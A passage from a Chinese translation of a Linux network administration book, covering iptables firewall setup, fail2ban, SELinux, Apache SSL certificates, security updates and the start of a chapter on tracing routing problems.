如果您还没有对此进行配置(并且您的发行版没有提供任何默认配置),您可能会看到每个的默认策略是`ACCEPT`,这就像它听起来的那样:它允许一切。 - -我想要实现的第一个规则是允许 SSH: - -```sh -# iptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT - -``` - -通过这个命令,我们使用 TCP 将一个新规则(`-A`)附加到接口`eth0`上的`INPUT`链,并接受来自`dport`(目的端口)`22`的流量。 如果您之前更改了 SSH 端口,请确保相应地调整此命令。 另外,如果您的接口不是`eth0`,也要更改它。 当然,我们的防火墙允许任何操作,因为我们从未更改默认策略。 如果你还记得的话,它默认接受所有东西。 让我们用下面的命令来改变它: - -```sh -# iptables -P INPUT DROP -# iptables -P FORWARD DROP -# iptables -P OUTPUT DROP - -``` - -现在,如果我们查看`iptables -L`的输出,我们应该看到默认策略是`DROP`,并且允许 SSH。 - -然而,有一个问题是我们不能做其他任何事情。 我们不能再安装软件包了。 事实上,我们不能在互联网上做任何事情。 例如,尝试 ping 谷歌。 你不能这么做。 如果您遵循了下面的操作,那么我们将默认策略设置为`DROP`,它实际上意味着`DROP`。 目前不允许任何流量进出服务器,除非它是 SSH。 为了恢复网络,我们需要允许更多的事情。 首先,让我们允许 DNS,它利用端口`53`: - -```sh -# iptables -I INPUT -s 10.10.96.0/22 -p udp --dport 53 -j ACCEPT -# iptables -I OUTPUT -s 10.10.96.0/22 -p udp --dport 53 -j ACCEPT - -``` - -这里,我们允许端口`53`,但只对我们的内部`10.10.96.0/22`网络开放。 注意,DNS 使用 UDP,因此我们将`-p udp`包含到我们的命令中。 这是不言而喻的,但调整`10.10.96.0/22`部分,无论您的网络方案是什么。 - -在这一点上,我们对系统的锁定仍然比我们希望的要多一些。 例如,我们现在有 DNS,但如果不允许端口`80`和`443`,我们就无法浏览互联网。 让我们接下来来处理这个问题。 - -```sh -# iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT -# iptables -A OUTPUT -o eth0 -p tcp --dport 80 -m state --state ESTABLISHED -j ACCEPT -# iptables -A INPUT -i eth1 -p tcp --dport 443 -m state --state NEW,ESTABLISHED -j ACCEPT -# iptables -A OUTPUT -o eth1 -p tcp --dport 443 -m state --state ESTABLISHED -j ACCEPT - -``` - -从现在开始,您应该能够在这台机器上浏览 Internet 并通过 SSH 访问它,但是不应该访问其他端口和服务。 如果所讨论的机器是路由器,您可能还需要配置端口转发。 下面是端口转发的一个示例: - -```sh -# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 65254 -j DNAT --to-destination 10.10.96.10 - -``` - -在本例中,我们将从端口`65254`接收的流量转发到`10.10.96.10`。 如果您在除`22`之外的其他端口上有类似 SSH 的东西可用,并且希望能够使用该端口访问计算机(在本例中为`10.10.96.10`),则此示例非常有用。 服务器现在将它在该端口上接收到的通信转发到该计算机。 这使用了`PREROUTING`的概念,它处理进入的数据包,并能够通过 NAT 重新分配它们。在这种情况下,我们使用防火墙创建一个 NAT 规则,将这些流量发送到适当的位置。 - -如果您正在设置此防火墙的服务器注定要成为路由器,那么您还需要启用接口之间的路由。 在上一章中,我们从 Linux 级别开始考虑这个问题,但是由于我们将防火墙默认配置为`DROP`,所以我们不能再这样做了。 为了继续在接口之间路由,我们还需要在防火墙内启用路由。 为此,我们可以使用以下命令: - -```sh -# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE -# iptables -A FORWARD -i eth1 -j ACCEPT - -``` - -在前面的命令中,我们允许在接口`eth0`和`eth1`之间路由。 调整前面的命令以适合您的发行版的网络接口命名方案,以便它适合您的环境。 我们还使用了`POSTROUTING`,在`iptables`中,它是对外流量的另一个词。 - -另一个可能有用的改变是允许 ping。 在我们目前的配置中,ICMP ping 报文被阻止了。 如果您 ping 您的服务器,您将不会得到响应。 我们可以通过以下命令重新启用 ping 响应。 请确保修改 IP 地址以匹配您的服务器: - -```sh -# iptables -A INPUT -p icmp --icmp-type 8 -s 0/0 -d 10.10.96.1 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT -# iptables -A OUTPUT -p icmp --icmp-type 0 -s 10.10.96.1 -d 0/0 -m state --state ESTABLISHED,RELATED -j ACCEPT - -``` - -如果由于某些原因你犯了一个错误,或者你想再次启动这个活动,发出以下命令来刷新(重置)`iptables`防火墙: - -```sh -# iptables –flush - -``` - -注意,这不会撤销您的默认策略,如果您想撤销到目前为止所做的所有操作,可以显式地将该策略设置为`ACCEPT`。 我们可以使用以下命令将每个表设置为默认值(`ACCEPT`): - -```sh -# iptables -P INPUT ACCEPT -# iptables -P FORWARD ACCEPT -# iptables -P OUTPUT ACCEPT - -``` - -我们选择`DROP`作为默认策略,因为在这种模式下,当拒绝流量时,防火墙不会以状态响应发送主机。 从某种意义上说,当将策略设置为`DROP`时,就好像将数据包发送到一个无穷无尽的黑洞。 这是一件好事,因为歹徒可以利用他们从服务器得到的响应来更好地瞄准他们的攻击。 对他们来说,最好是不要得到任何回应。 - -所以,请随意使用`iptables`,直到您能够执行所有您通常能够执行的任务。 一旦您有了一个可以工作且经过良好测试的防火墙,就该保存配置了。 否则,当您重新启动时,所有这些辛苦的工作都将丢失。 使用以下命令保存您的防火墙配置: - -```sh -# iptables-save > /etc/iptables.rules - -``` - -要导入这些规则,可以使用以下命令: - -```sh -# iptables-restore < /etc/iptables.rules - -``` - -您可能希望在每次系统引导时自动恢复这些更改。 Debian 和 CentOS 都有自己的方式来实现这一点。 下面是保存规则的方法。 - -在 Debian 中,首先像以前一样保存规则: - -```sh -iptables-save > /etc/iptables.rules - -``` - -接下来,创建以下文件: - -```sh -/etc/network/if-pre-up.d/iptables - -``` - -在该文件中,放置以下文本: - -```sh -#!/bin/sh - /sbin/iptables-restore < /etc/iptables.rules - -``` - -在 CentOS 操作系统中执行如下命令: - -```sh -# iptables-save > /etc/sysconfig/iptables - -``` - -从这一点开始,您的防火墙规则应该在每次重新启动服务器时保持不变。 - -# 使用 fail2ban 保护系统服务 - -防火墙是一个很好的东西,但它不能做太多来保护被允许的服务。 防火墙只允许或不允许访问。 但是,一旦允许访问某个服务,其安全性就取决于其配置以及是否存在任何安全性漏洞。 值得安装的一个服务是**fail2ban**,这是一个在后台运行的整洁的小工具,它会监视您的日志中任何不寻常的事情,比如访问一个服务的多次失败。 `fail2ban`最流行的用途是保护 SSH 不受那些试图强行使用它的人的伤害。 在很多方面,`fail2ban`是**denyhosts**的后继者,而几乎做了同样的事情。 但是`fail2ban`能够保护比 SSH 更多的服务,另一个例子是 Apache。 - -当`fail2ban`发现一个源试图访问一个服务并且失败时,它将动态地设置防火墙规则来阻止该服务从您的服务器上访问。 首先,在服务器上安装`fail2ban`包。 在 Debian 系统中,这在默认存储库中是可用的。 CentOS 系统可以在我们过去设置的`epel`存储库中找到这个包。 安装完成后,如果还没有使用以下命令,则使用`systemctl`启用并启动它: - -```sh -# systemctl start fail2ban -# systemctl enable fail2ban - -``` - -在`/etc/fail2ban`目录中,您应该看到主配置文件`jail.conf`。 将此配置复制到本地副本是一个好主意,因为如果您编辑`jail.conf`,总是有可能被包升级覆盖。 如果找到`fail2ban`服务将读取`jail.local`,如果要升级,则不会覆盖`fail2ban`: - -```sh -# cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local - -``` - -既然我们有一个本地副本,现在我们可以配置它来保护我们的服务。 让我们从 SSH 开始。 为此,在文本编辑器中打开`/etc/fail2ban/jail.local`并查找`[ssh]`部分。 在我的系统上,这个部分看起来像这样: - -```sh -[ssh] -enabled = true -port = 65256 -filter = sshd -action = iptables[name=SSH, port=65256, protocol=tcp] -logpath = /var/log/auth.log -maxretry = 6 - -``` - -正如您所看到的,配置是相当不言自明的。 第一行启用了 SSH 监狱,它使用`sshd`过滤流量,并在`/var/log/auth.log`中查找与 SSH 相关的消息。 虽然您可能已经注意到了,但是我们需要在这个文件中调用 SSH 端口。 如果您坚持使用端口 22,则可以将文件的相关部分保留在配置中。 但是,如果您将 SSH 端口更改为其他端口,请确保进行相应的调整。 有两个地方可以放置 SSH 端口,第一个在第 3 行上,第二个在第 5 行上。 - -现在我们已经有了我们的配置,我们可以重新启动`fail2ban`来开始为我们保护 SSH: - -```sh -# systemctl restart fail2ban - -``` - -看看我们可能想要启用的其他服务的配置文件。 一个例子可以是我们的 web 服务器的 Apache,甚至是 NGINX,如果你已经设置好了的话。 默认配置文件包含大量您可以使用的示例。 要使用一个,只需将`enabled = false`更改为`enable = true`,然后重新启动`fail2ban`。 - -# 了解 SELinux - -**Security Enhanced Linux**(**SELinux**)是一个内核模块,通过增强**强制访问控制**来提高安全性。 这个概念使您能够确保用户和应用只能访问为了完成指定的任务而绝对需要的东西。 虽然防火墙有助于保护系统不受外部入侵,但 SELinux 有助于防止内部资源执行它们不应该执行的操作。 这听起来可能有些模糊,因为这就是 SELinux 的使用方式,而您如何从它中受益完全取决于您如何实现它。 想要阻止用户创建一个全世界都可读的非常私有的文件? 当然,你可以这么做。 也许确保 Apache 不能访问`/var/www`以外的文件? 你也可以这么做。 如果没有 SELinux,您将只依赖于组和用户权限。 SELinux 通过在组合中添加额外的安全性层,帮助您设置更细粒度的安全性限制。 - -SELinux 并不专属于任何一个发行版,尽管您通常会发现它安装在 Red Hat、Fedora 和 CentOS 系统上。 在 Debian 这样的系统中,如果想要使用它,就需要安装`selinux`。 不幸的是,在撰写本文时,SELinux 在 Debian 中不能正常工作,因为一个必需的包(`selinux-policy-default`)包含在 Jessie 发行版中没有及时修复的 bug,所以这个包在 Debian 8 中被省略了。 x“杰西”存储库。 然而,在 Debian 中安装 SELinux 的过程(如果该包在发布后可用)归结为将该包与`selinux-basics`一起安装。 安装完这些包后,您应该能够通过运行以下命令并重新启动系统来完成 SELinux 安装: - -```sh -# selinux-activate -# systemctl enable selinux-basics.service - -``` - -SELinux 使用策略来确定是否允许某个操作。 策略是用存在于**SELinux 用户空间**中的工具创建的,而实际的检查是在内核层完成的。 每个在默认情况下实现 SELinux 的发行版通常都会附带一组经过测试和受支持的策略,以便您合理地期望运行的所有服务都能正常工作。 如果没有缺省的策略集,手动配置 SELinux 可能会非常麻烦(如果开始配置 SELinux 的话)。 正如前面提到的,Debian 的策略包目前还不是主存储库的一部分,因此在 Debian 中启用 SELinux 可能会有些混乱。 但是在 CentOS 中,使用 SELinux 所需的一切都可以开箱即用。 事实上,除非您禁用了它,否则您已经在使用它了! - -SELinux 有三种操作模式,为**强制**,**允许**和**禁用**。 默认情况下,我最近看到的大多数安装都被设置为`enforcing`,但是您可以通过执行`sestatus`来查看您的三个安装设置为哪一个。 - -![Understanding SELinux](img/B03919_09_03.jpg) - -在 CentOS 上从 sestatus 输出 - -使用`enforcing`,SELinux 被配置为启用其策略,并将对任何违背该策略的操作进行操作。 如果发生违规,SELinux 将阻止该操作并记录它。 在`permissive`模式下,操作不会被阻止,但所有内容仍会被记录,因此您可以稍后自己审计服务器。 `disabled`状态是不言而喻的; 在这种模式下,SELinux 在被禁用时不会阻止或记录任何内容。 很常见的是,管理员会简单地禁用 SELinux,假设如果它妨碍了合法的用例,那么它会是一个很大的负担。 但是不建议禁用 SELinux,除非绝对必要,因为它是另一层安全,否则您可以从中受益。 至少,您可能希望受益于`permissive`模式,以便在服务器上发生可疑事件时,您的日志中有更多可用信息。 - -要动态更改 SELinux 的操作模式,可以使用`setenforce`命令。 例如:使用`setenforce Enforcing`将模式改为`enforcing`。 通过`setenforce`所做的更改不是永久性的。 重新启动机器后,模式将切换回默认模式或您在配置文件中配置的模式。 要永久更改模式的配置文件是 Red Hat 样式发行版中的/`etc/sysconfig/selinux`文件,或者 Debian 中的`/etc/selinux/config`文件。 该文件允许您配置两个主要设置,以确定如何配置 SELinux,即**模式**和**类型**。 要永久更改其中之一,请更新此文件并重新启动服务器。 我们已经讨论了模式(可以将其设置为`enforcing`、`permissive`或`disabled`),类型是我们配置希望 SELinux 使用的策略的位置。 可以设置为`targeted`、`minimum`或多级安全性(`mls`)。 - -在更新策略方面,`targeted`是在新安装上默认使用的进程(至少当涉及到 Red Hat/CentOS 时),并且它是由 Red Hat 完全支持的。 使用此策略,每个进程都运行在一个名为`unconfined_t`的类型中,该类型实际上完全不受限制。 相反,进程将运行在 Linux 本地的**DAC**(简称**自主访问控制**)下,该机制将它们从其他进程中沙箱化,以帮助包含任何可能被破坏的内容。 **MLS**,或**多层安全**,在启用时,对被`s0`指定的对象应用敏感性评级。 (通过执行`sestatus`,您可以查看是否启用了 MLS)。 稍后我们将看到一些上下文输出的示例。 使用最小类型,只有我们显式选择的进程才会受到保护。 - -启用 SELinux 的系统中中的每个资源都包含一个**标签**,这就是 SELinux 如何识别资源并理解如何监管资源。 通过在一个或多个命令(如`ls`、`id`或`ps`中使用`-Z`参数,您可以自己查看这些标签(也称为上下文)。 只有在将系统配置为使用 SELinux 时,这些命令才可以使用这个特殊参数,并且它允许您将上下文作为正常输出的一部分来查看。 例如,在 SELinux 系统上,您可以将`-Z`参数与`ls`命令一起使用,您将看到如下输出: - -```sh --rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 myfile - -``` - -通常,在查看`ls`等命令的输出时,`ls`命令的输出将包含修改日期和大小等字段。 但是同样,`-Z`参数是特殊的。 这意味着您希望看到与 SELinux 相关的命令输出,而不是通常得到的输出。 您还可以尝试使用`id`(`id -Z`)和`ps`(`ps auxZ`)来让这些命令的输出也显示它们的 SELinux 上下文。 - -标签包含多个字段。 在我粘贴的`ls`命令的输出中,我们可以看到字段`unconfined_u`、`object_r`、`admin_home_t`和`s0`。 为了更好地理解这一点,看看每个字符的最后几个字符。 `_u`指定用户,`_r`指定角色,`_t`代表类型。 因此,我们可以从前面的输出中看到,名为`myfile`的文件的用户上下文为`unconfined_u`; 它被赋予了`object_r`的角色和`admin_home_t`的类型。 让我们看另一个例子。 在我的 CentOS 系统上的`ps auxZ`输出中,我看到以下一行用于我的 SSH 会话: - -```sh -unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 jay 20575 0.0 0.0 135216 2080 ? S 10:40 0:00 sshd: jay@pts/0 - -``` - -看看行首,我们又有了用户、角色和类型的上下文。 在本例中,每一个都被命名为 unrestricted,但是我们可以通过最后两个字符来判断哪一个是 unrestricted。 - -类型是输出中最重要的部分,因为 SELinux 就是这样执行的。 给定类型,SELinux 知道如何限制(或不限制)对象。 在第一个例子中,我们有`admin_home_t`,在第二个例子中我们有`unconfined_t`。 由此,我们可以得出结论,SELinux 没有对我的 SSH 会话(`unconfined_t`)强制执行任何操作,而是为我的主目录(文件的输出来自该目录)设置了特定的策略。 我们在示例输出中看到的另一个上下文是角色,由后缀`_r`指定。 在应用角色时,SELinux 能够将各种上下文组合在一起,并用一个调用将它们应用到一个用户对象。 这使得指定用户能够做什么以及允许他们如何与其他对象交互变得更加容易。 - -有几个命令可以用来重新标记对象的上下文信息。 首先,使用`chcon`命令。 `chcon`命令与`-t`参数一起使用,该参数指定要将对象更改为的类型,后跟对象名称: - -```sh -# chcon -t admin_home_t myfile - -``` - -使用`-R`,我们告诉`chcon`命令递归地进行更改,如果您正在更改目录的上下文,这将非常有用。 此外,如果您想更改角色而不是类型,还可以使用`-r`。 如果您犯了一个错误,或者您想要恢复您的更改,`restorecon`就可以做到这一点。 `restorecon`命令将将对象恢复到其策略中定义的默认状态。 另一个用于管理 SELinux 的命令是`semanage`。 通过这个命令,我们可以永久性地改变对象的处理和标记方式。 重要的是要注意,通过`chcon`进行的更改可能并不总是持续。 虽然通过`chcon`进行的更改可能会在重新引导后继续存在,但如果文件系统被重新标记,这些更改将持续存在。 `semanage`命令允许我们使这些更改更持久。 使用`semanage`,我们可以更改文件上下文、用户映射以及用户上下文。 - -首先,一个将用户`jdoe`映射到`sysadm_u`SELinux 用户的例子: - -```sh -# semanage login -a -s sysadm - -``` - -下面是一个使用`fcontext`和`semanage`的例子,我们可以改变文件对象的类型: - -```sh -# semanage fcontext -a -t admin_home_t myfile - -``` - -更多示例请参见`semanage`的手册页。 SELinux 是一个很大的主题,已经有一整本书是为它写的。 完整的 SELinux 简介需要分好几个章节,但是这里提供的信息可以作为足够的入门知识。 如果实现得当,它可以极大地增强服务器上的安全性。 - -# 配置 Apache 使用 SSL - -[第七章](07.html "Chapter 7. Hosting HTTP Content via Apache"),*通过 Apache 托管 HTTP 内容*都是关于 Apache 的。 在那里,我们学习了如何让它运行并使用进行配置,以便在我们的网络上托管一个站点。 但是,如果我们要创建一个可能承载个人身份信息的站点,我们将希望确保使用适当的安全措施来保护这些信息。 为我们的站点使用**SSL**证书允许通过安全端口 443 访问它,从而提高安全性。 利用 SSL 并不是我们唯一能够提高网络服务器安全性的方法,但这绝对是一个开始。 - -我们可以使用两种证书。 我们可以创建一个自签名证书,也可以使用**证书颁发机构**(**CA**)注册一个证书。 后者是首选,尽管如果您创建的站点仅供内部使用,那么它可能开销过大。 不同之处在于自签名证书不受任何浏览器的信任,因为它不可能来自已知的 CA。当您使用这样的证书访问站点时,它会抱怨站点的证书无效。 这并不一定是正确的,因为自签名证书肯定是有效的; 只是浏览器没有办法确定。 通过 CA 注册证书可以缓解这种情况,但要付出一定的代价。 根据范围的不同,注册证书的费用可能很高。 选择权在你。 - -### 注意事项 - -在 Debian 系统上,确保使用以下命令启用 SSL: - -```sh -# a2enmod ssl - -``` - -首先,您需要在 web 服务器的文件系统中选择一个存放证书文件的位置。 这里没有严格的规则,唯一的要求是 Apache 能够访问它(最好是其他任何人都不能!) 一些很好的候选包括 Debian 中的`/etc/apache2/ssl`和 CentOS 中的`/etc/httpd/ssl`。 我把我的放在`/etc/certs`。 无论您选择哪条路径,请切换到该目录,然后我们将继续。 - -如果你已经决定创建一个自签名证书,你可以使用以下命令: - -```sh -openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt - -``` - -在生成证书时,将要求您提供与您的组织、联系信息和域有关的一些信息。 这里有一个你会被问到的问题的例子和一些例子的答案: - -* `Country name: US` -* `State or Province Name: Michigan` -* `Locality Name (City): White Lake` -* `Organization Name: My Company` -* `Organizational Unit Name: IT Dept` -* `Common Name (Fully Qualified Domain Name): myserver.mydomain.com` -* `Email Address: webmaster@mycompany.com` - -这将在当前工作目录中为您创建两个文件`server.key`和`server.crt`。 这些文件的文件名是任意的,您可以随意命名它们。 现在,我们需要确保我们的网络服务器能够找到并使用这些文件。 - -在 Debianweb 服务器上,我们可以通过编辑`/etc/apache2/sites-available/default-ssl.conf`来实现这一点。 在该文件中,将有一个部分用于添加启用键的指令。 寻找有关于 SSL 注释的部分。 在该节内增加下列行: - -```sh -SSLCertificateFile /etc/certs/server.crt -SSLCertificateKeyFile /etc/certs/server.key - -``` - -在 CentOS 中,我们会将相同的行添加到`/etc/httpd/conf/httpd.conf`文件中,但是使用了`SSLEngine on`指令。 这应该放到它自己的`VirtualHost`指令中,类似于下面的例子。 只需确保更改路径以匹配您的 web 服务器设置: - -```sh - - SSLEngine On - SSLCertificateFile /etc/certs/server.crt - SSLCertificateKeyFile /etc/certs/server.key - SSLCACertificateFile /etc/certs/ca.pem (Only include this line if the certificate is signed). - DocumentRoot /var/www/ - - -``` - -设置签名 SSL 证书与此类似,但不同之处在于如何请求它。 该过程需要创建一个**证书请求**(**CSR**),您将该请求提交给您的提供商,而该提供商将为您提供一个已签名的证书。 最终的结果是相同的,文件将在相同的地方结束。 您只需在提交 CSR 后使用供应商提供给您的文件。 让我们先创建一个 CSR,我们将使用`openssl`命令为我们生成: - -```sh -openssl req -new -newkey rsa:2048 -nodes -keyout server.key -out server.csr - -``` - -你会问同样的问题,但请注意,我们讲`openssl``.csr`给我们,所以我们将有一个`server.csr`文件在我们的工作目录我们将使用从我们的 CA 请求的一个关键。从你的证书提供商你收到文件后,你将更新 Apache 正如我们前面所做的。 - -# 部署安全更新 - -虽然对于那些在安全方面经验丰富的人来说,似乎是常识,但是发布发行版的更新是有原因的。 在某些情况下,更新仅用于添加新特性或将软件更新到最新版本。 但是对于像 CentOS 和 Debian 这样的企业发行版来说,这些更加重要。 - -这是基于消费者的发行版和企业发行版的不同之处。 Ubuntu 的非 lts 发行版、Linux Mint 和 Fedora 等发行版比 CentOS、Debian 和 Red Hat 等企业发行版获得了更多的前沿软件包。 这是因为终端用户通常想要最新版本的网页浏览器、电子邮件客户端、文字处理器或游戏。 对于企业号来说,这并不重要。 在 Enterprise 中,安全更新是至关重要的。 虽然在大多数情况下,面向消费者的发行版肯定会在几乎相同的水平上更新安全补丁,但这些补丁与特性更新混杂在一起,可能会损害而不是帮助稳定性。 - -在 Debian 中,实际上提供了两种风格。 主要的发行版被称为**Debian 稳定版**,它只接收安全补丁。 即使是默认的浏览器(Iceweasel)也不会像其他平台上的 Firefox 那样频繁更新。 这里的想法是,改变代表着潜在的破坏。 需要做相当多的工作来确保您在 stable 中获得的包是经过检验的、正确的,而不是最新的、最好的。 这个概念也类似于 CentOS,尽管它的包通常比 Debian 的更老。 为了让您了解这一点,在我撰写本章时,最新的 Linux 内核是 4.1。 Debian Jessie(最新的“稳定版”)包含 3.16 内核,而 CentOS 7 甚至更老,为 3.10。 并不是说内核老了没什么错,我只是举个例子。 Red Hat 和 Debian 都有更多可用的前沿发行版。 **Fedora**由 Red Hat 赞助,包含更多最新的软件包。 它是面向用户谁喜欢有最新的软件。 **Debian 测试**也包括更多的最新包,尽管它不像 Fedora 那样稳定,不时会遇到包损坏。 Debian 测试的目标是那些想要测试 Debian 下一个版本的人,因为随着 Debian 的成熟,Debian 测试最终会成为新的 Debian 稳定版。 - -出于安全目的,安装最新的安全更新是至关重要的。 的确,Linux 比许多其他平台更安全、更稳定,但不管操作系统有多安全,归根结底,它的安全取决于它的管理方式。 如果发现了可利用的漏洞,更新落后的 Linux 发行版的安装就很容易受到攻击。 - -考虑到终端用户和企业发行版的存在,管理它们的安全更新可能是一项挑战。 如果您的组织在两台服务器和终端用户的机器上都使用 Linux,那么您可以很好地使用这两种类型的发行版。 这是因为尽管 CentOS 是安全和稳定的,但您不太可能成功地将其部署到最终用户的机器上。 由于 CentOS 的内核稍早一些,它不会支持目前终端用户工作站可用的所有新硬件。 此外,没有那么多的定制,使其适合台式机或笔记本电脑使用。 虽然可以这样做(很多人都这样做),但在终端用户设备上安装 CentOS 通常是一种挫折。 对于终端用户的机器,您可能会选择 Ubuntu、Linux Mint 或 Fedora。 但是有了这些,您就需要花更多的时间关注哪些更新是为了安全性,哪些更新是为了应用中的新特性。 根据更新的性质,您可以选择不同的方式进行更新。 - -理想情况下,在一个完美的服务器空间中,服务器的所有更新都将在发布后立即安装,不会出现任何问题,一切都会顺利进行。 但在现实中,保持安全更新是有挑战的。 可能出现的回归会导致重要的应用无法运行。 另外,打包过程中的错误可能会破坏 RPM 数据库(这是一种非常令人沮丧的体验!),所以虽然更新很重要,但也需要一些谨慎的练习。 - -最好的策略(或者至少是我发现的对我很有效的策略)是创建测试服务器,以便在将更改推出生产环境之前对其进行测试。 在虚拟机服务器的情况下,您甚至可以克隆生产服务器,并在它们上测试更新或其他更改,看看如果将它们推出生产环境,它们将如何反应。 然后,您可以有理由相信新的更新不会破坏生产服务器。 公平地说,这种情况很少发生。 但是考虑到 Linux 的灵活性和 Linux 服务器易于克隆的事实,没有理由不进行测试。 - -在 CentOS 系统中,您可以使用`yum update`命令更新服务器上的所有包。 您可以使用`yum update`和包的名称来更新该包。 在 Debian 系统中,您可以使用`apt-get update`来刷新源代码,然后您可以使用带有包名的`apt-get install`来更新包。 要更新所有内容,您需要更新源代码,然后运行`apt-get dist-upgrade`。 - -在实际安装中,您可能不会更新服务器上所有可用的包。 相反,一种方法是根据需要更新包。 这需要管理员进行大量的研究,以便关注当前的安全趋势,然后选择影响当前生产中使用的服务的安全更新。 对于基于 Debian 和 Red Hat 的系统,有两个方便的网站与**常见漏洞和暴露**(**CVE**)相关,您应该将其加为书签。 - -对于 Red Hat,请使用以下 URL: - -[https://access.redhat.com/security/cve/](https://access.redhat.com/security/cve/) - -Debian 使用的 URL 如下: - -[https://security-tracker.debian.org/tracker](https://security-tracker.debian.org/tracker) - -这两个站点都允许您查看单独的 CVE 报告,它将告知您有关易受攻击的软件包以及它们是否已修补。 在某些情况下,CVE 在您的特定发行版中甚至是不可利用的,在这种情况下,您不需要做任何事情。 但是通过跟踪这些报告,您可以对哪些潜在漏洞可能影响您的组织做出明智的决定。 这将允许您创建一个计划,将必要的补丁部署到服务器上。 - -# 总结 - -安全性是一个非常复杂的主题。 如此复杂,没有人能成为无所不知的专家,即使是业内的顶尖人士也在不断学习。 同样地,在统计上也不可能创建一个无法攻破的防弹服务器。 但作为网络管理员,您的职责是尽最大努力确保节点的安全。 安全通常是反动的,这需要你保持警觉。 在本章中,我们了解了一些保护网络免受风险的方法。 我们讨论了诸如保护 SSH、限制攻击面、使用 SSL 保护 Apache、fail2ban 和部署安全更新等概念。 - -在下一章中,我们将研究当出现问题时,您可以做些什么来排除故障。 \ No newline at end of file diff --git a/docs/master-linux-net-admin/10.md b/docs/master-linux-net-admin/10.md deleted file mode 100644 index 2fc9dcaa..00000000 --- a/docs/master-linux-net-admin/10.md +++ /dev/null @@ -1,243 +0,0 @@ -# 十、故障诊断网络问题 - -没有一个网络是完美的。 无论我们如何规划和实施我们的基础设施,问题都会发生。 要成为一名成功的网络管理员,您需要的最重要的技能是排除故障的能力。 当问题发生时,你理性思考的能力和通过排除过程缩小问题的范围的能力将帮助你度过难关。 当事情变得混乱时,网络管理员当然会感到压力,但是他们享受工作的安全性。 在本章中,我们将解决 Linux 网络中可能出现的一些常见问题的故障排除。 在我们旅程的最后一章,我们将讨论: - -* 跟踪路由问题 -* 故障排除 DHCP 问题 -* 故障排除 DNS 问题 -* 使用 netstat 显示连接统计信息 -* 使用 nmap 和 Zenmap 扫描您的网络 -* 在 Debian 系统上安装丢失的固件 -* 排除网络管理器的问题 - -# 跟踪路由问题 - -网络的全部目的是将数据从 a 点传送到 b 点。如果由于某些原因,我们无法在需要的地方获得数据,有时就很难准确地指出问题在哪里出现。 但是通过消除过程,确定路由问题在哪里出现应该不会太难。 - -每当我遇到节点无法与特定服务器或网络通信的问题时,我喜欢从它们的工作站返回交换机堆栈,直到我发现问题。 首先,我检查一些显而易见的东西,比如 IP 地址是什么(或者机器是否有 IP 地址),然后我还检查路由表。 如果问题是间歇性的,您可能需要测试电缆。 由于某些原因,我遇到过很多由于错误的电缆而导致问题的例子。 我不知道为什么,但我认识的其他管理人员似乎没有这种运气。 但为了以防万一,用电缆测试器检查一下网络电缆也无妨。 - -假设您已经尝试了简单的内容,接下来您将想要确定是否可以到达默认网关。 如果您知道本地默认网关的 IP 地址,只需 ping 它,看看是否可以到达它,并注意结果。 你的尝试暂停了吗,还是顺利完成了? 如果你不知道网关的 IP 地址,在你的终端模拟器中运行`route -n`来找出答案。 如果您可以通过 IP 访问默认网关,那么请尝试通过主机名以及您最初试图连接的目标节点的 IP 地址访问它。 如果您能够通过 IP 而不是其主机名访问资源,这很可能是 DNS 问题。 我们将在本章后面讨论 DNS 故障排除。 但是现在,决定你是否可以到达你的 DNS 服务器和/或网关将是很好的第一步。 如果你做不到,你可能有一个资源被占用了,一群愤怒的同事在你的办公桌前等着你。 - -如果问题是间歇性的,我们可以通过询问本地机器来进行故障排除。 `ip address show`命令将为我们提供关于本机 IP 地址的一些详细信息。 实际上,我们可以将这个命令缩写为`ip addr show`,或者如果您真的不喜欢输入,可以进一步简化为`ip a`。 下面是一个示例系统中`ip addr show`的输出: - -![Tracing routing issues](img/b03919_10_01.jpg) - -调查本地机器上的 IP 地址 - -在本书的这一点上,对于`ip a`的输出不应该有任何太令人惊讶的事情。 但是,我的机器输出的结果可能与您在野外看到的结果不同,因此值得一试。 首先,您可以看到我用于测试的 Debian 机器上有五个网络接口。 第一个是本地环回适配器`lo`; 第二个是`eth0`。 由于这台机器目前使用的是 Wi-Fi,所以`eth0`没有 IP 地址也就不足为奇了。 下一个接口`wlan0`的 IP 地址为`192.168.1.106`。 最后两个接口是唯一的; 它们作为 Docker 和 KVM 虚拟化的桥梁,能够执行它们自己的网络。 尽管码头工人和 KVM 不是这本书的范围内,我把他们做他们自己的网络之一,因为当这些服务安装,您可能会看到您的 Linux 桌面环境报告,你连接到网络,即使技术上你不是。 在我的机器上,如果我断开`wlan0`,它仍然会显示我是连接的。 这是因为大多数图形化发行版附带的 Network Manager GUI 版本在报告与连接有关的准确状态方面做得很糟糕,这可能会混淆情况。 - -现在您已经确定了机器有一个 IP 地址,可以采取的另一个步骤是使用`traceroute`命令。 那些使用过 Windows 的人,可能已经熟悉这个概念,因为 Windows 实用程序`tracert`的工作方式基本相同。 当您设置 Linux 发行版时,`traceroute`实用程序并不总是默认安装的,因此您可能需要安装`traceroute`包。 从这里开始,您应该能够使用`traceroute`以及资源的主机名或 IP 来查看进程从哪里退出。 如果问题是您的工作站无法访问公共 Internet,您也可以对网站的 URL 使用`traceroute`。 下面的截图显示了`traceroute`和`google.com`的对比: - -![Tracing routing issues](img/b03919_10_02.jpg) - -运行 traceroute 来解决访问公共 Internet 的问题 - -在前面的截图中,我运行了`traceroute`到[www.google.com](http://www.google.com)。 从输出中,我们可以马上看出几件事。 首先,我们可以看到我们的命令试图到达的第一个`hop`是 IP 地址为`192.168.1.1`的名为`m0n0wall.local`的设备。 如果我运行`route -n`,我看到这是我当前使用的网络的默认网关。 `m0n0wall`是 FreeBSD 的防火墙发行版,它在这个网络上使用。 我在运行该命令时发现了这一点。 接下来,我们可以看到,我们通过`m0n0wall`设备到达了`172.21.0.1`和`198.111.175.120`的另一个专用网络,但是当我的请求到达`198.108.22.150`时,输出停止。 在那之后,我们只看到星号,但我们不会超越它。 假设我的机器无法访问 Internet,我可能想要调查位于`198.108.22.150`的设备,并找出为什么它不允许我的流量通过。 